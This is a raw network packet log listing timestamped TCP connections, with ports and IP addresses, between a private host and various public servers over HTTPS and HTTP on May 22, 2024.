May 22, 2024 20:01:56.235809088 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.274748087 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.274866104 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.428745031 CEST	443	49690	204.79.197.200	192.168.2.17
May 22, 2024 20:01:56.428817034 CEST	49690	443	192.168.2.17	204.79.197.200
May 22, 2024 20:01:56.627131939 CEST	49675	443	192.168.2.17	204.79.197.203
May 22, 2024 20:01:57.873672962 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:57.873732090 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:57.873836994 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:57.874140024 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:57.874172926 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.393641949 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.394021988 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.394057035 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.394340992 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.394886971 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.394952059 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.394989014 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.395251036 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.395309925 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.395457983 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.395494938 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.643058062 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.643100023 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.644248009 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.644279957 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.647696018 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.647890091 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.647890091 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.651598930 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.651629925 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.653176069 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:58.653223991 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:58.653269053 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.653455973 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:58.653462887 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.653474092 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:58.653624058 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:58.653640985 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:58.952275038 CEST	59878	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:58.952327967 CEST	443	59878	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.149581909 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.149954081 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:59.149997950 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.151091099 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.151433945 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:59.151684999 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:59.151705980 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.151734114 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:59.151747942 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.153317928 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.153521061 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.153564930 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.153894901 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.154191971 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.154262066 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.154269934 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.194495916 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.194555998 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:01:59.205164909 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:01:59.205962896 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.291588068 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.291661024 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.291733027 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.292588949 CEST	59879	443	192.168.2.17	104.17.2.184
May 22, 2024 20:01:59.292607069 CEST	443	59879	104.17.2.184	192.168.2.17
May 22, 2024 20:01:59.615283966 CEST	49682	80	192.168.2.17	192.229.211.108
May 22, 2024 20:02:00.583075047 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.583213091 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.583296061 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.584316015 CEST	59880	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.584342957 CEST	443	59880	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.593702078 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.593733072 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.593820095 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.594043016 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.594069004 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.595052004 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.595074892 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.595144033 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.595318079 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:00.595343113 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:00.656660080 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:00.656708956 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:00.656795025 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:00.657005072 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:00.657023907 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:00.763191938 CEST	49680	443	192.168.2.17	20.189.173.13
May 22, 2024 20:02:01.104125977 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.104470968 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.104505062 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.104988098 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.105268002 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.105350971 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.105429888 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.105443954 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.122452021 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.122699976 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.122718096 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.123059988 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.123366117 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.123431921 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:01.160154104 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.176187038 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:01.181154013 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.181488991 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:01.181510925 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.185091972 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.185175896 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:01.185487032 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:01.185615063 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:01.185622931 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.185712099 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.240138054 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:01.240170956 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:01.287162066 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:02.524746895 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.526532888 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.526631117 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.526654959 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.526694059 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.526747942 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.527705908 CEST	59881	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.527721882 CEST	443	59881	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.543526888 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.543603897 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.545344114 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.545403004 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.545499086 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.545705080 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:02.545732021 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:02.631694078 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:02.631787062 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:02.631880999 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:02.632594109 CEST	59883	443	192.168.2.17	188.114.96.3
May 22, 2024 20:02:02.632607937 CEST	443	59883	188.114.96.3	192.168.2.17
May 22, 2024 20:02:02.863711119 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:02.863763094 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:02.863874912 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:02.864300013 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:02.864322901 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.034099102 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:03.034463882 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:03.034504890 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:03.034878969 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:03.035190105 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:03.035269022 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:03.076191902 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:03.673881054 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.674010992 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.675448895 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.675474882 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.675822973 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.677181005 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.722491980 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.959448099 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.959510088 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.959553003 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.959764004 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.959764004 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.959798098 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.959861994 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964404106 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.964464903 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.964508057 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964525938 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.964576006 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.964595079 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964644909 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964689016 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964721918 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:03.964751959 CEST	59885	443	192.168.2.17	13.85.23.86
May 22, 2024 20:02:03.964766979 CEST	443	59885	13.85.23.86	192.168.2.17
May 22, 2024 20:02:04.017880917 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:04.018066883 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:04.018160105 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:04.018737078 CEST	59882	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:04.018754959 CEST	443	59882	188.114.97.3	192.168.2.17
May 22, 2024 20:02:04.020925045 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:04.021028996 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.451675892 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.453505039 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.453619957 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.453639984 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.467523098 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.467564106 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.467673063 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.467725992 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.467772007 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.467844963 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.468173981 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.468194962 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.468256950 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.468882084 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.468899965 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.469024897 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.469047070 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.469577074 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.469583988 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.469650030 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.469742060 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.469753981 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.470000982 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.470006943 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.470060110 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.470664978 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.470674038 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.471067905 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.471077919 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.474270105 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.474368095 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.474384069 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.475425005 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.475456953 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.475511074 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.475526094 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.475591898 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.477606058 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.481440067 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.481530905 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.481544971 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.482364893 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.482444048 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.482455015 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.487008095 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:05.487047911 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:05.487165928 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:05.487437963 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:05.487447023 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:05.487499952 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:05.487834930 CEST	59891	443	192.168.2.17	13.227.219.47
May 22, 2024 20:02:05.487867117 CEST	443	59891	13.227.219.47	192.168.2.17
May 22, 2024 20:02:05.488076925 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:05.488105059 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:05.500483990 CEST	49697	80	192.168.2.17	199.232.210.172
May 22, 2024 20:02:05.521462917 CEST	80	49697	199.232.210.172	192.168.2.17
May 22, 2024 20:02:05.521581888 CEST	49697	80	192.168.2.17	199.232.210.172
May 22, 2024 20:02:05.532211065 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.532222986 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.536637068 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.536732912 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.536741018 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.560973883 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.561259985 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.561279058 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.561511040 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.561563015 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.561572075 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.562251091 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.562325001 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.562334061 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.562978029 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.563050032 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.563055038 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.563406944 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.563468933 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.563473940 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.564174891 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.564239025 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.564244032 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.564920902 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.565006971 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.565011978 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.566083908 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.566118956 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.566173077 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.566178083 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.566226006 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.566827059 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.567974091 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.568023920 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.568063974 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.568065882 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.568073988 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.568145037 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.623608112 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.628366947 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.628463030 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.628484011 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.676179886 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.787898064 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.787969112 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.788067102 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.788214922 CEST	59884	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.788229942 CEST	443	59884	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.788757086 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.788786888 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.788846970 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.790266991 CEST	59893	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.790278912 CEST	443	59893	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.976779938 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.977175951 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.977241039 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.978720903 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.978813887 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.979093075 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.979195118 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.979250908 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.987216949 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.987442017 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.987457991 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.987540960 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.987729073 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.987757921 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.988338947 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.988614082 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.988701105 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.988701105 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.989057064 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.989157915 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.989379883 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.989463091 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.989478111 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.989500999 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.989983082 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.990156889 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.990171909 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.991627932 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.991709948 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.991919994 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.991995096 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.992005110 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.992064953 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.992254019 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.992266893 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.993390083 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.993655920 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.993729115 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:05.993736982 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:05.993824005 CEST	443	59887	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.022501945 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.026573896 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.026609898 CEST	443	59890	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.030510902 CEST	443	59886	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.034511089 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.042234898 CEST	59886	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.042241096 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.042272091 CEST	443	59889	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.042318106 CEST	59887	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.042325020 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.042336941 CEST	443	59888	188.114.97.3	192.168.2.17
May 22, 2024 20:02:06.074186087 CEST	59890	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.090190887 CEST	59889	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.092859983 CEST	59888	443	192.168.2.17	188.114.97.3
May 22, 2024 20:02:06.136456013 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.136802912 CEST	59892	443	192.168.2.17	216.58.212.164
May 22, 2024 20:02:06.136866093 CEST	443	59892	216.58.212.164	192.168.2.17
May 22, 2024 20:02:06.137911081 CEST	443	59892	216.58.212.164	192.168.2.17
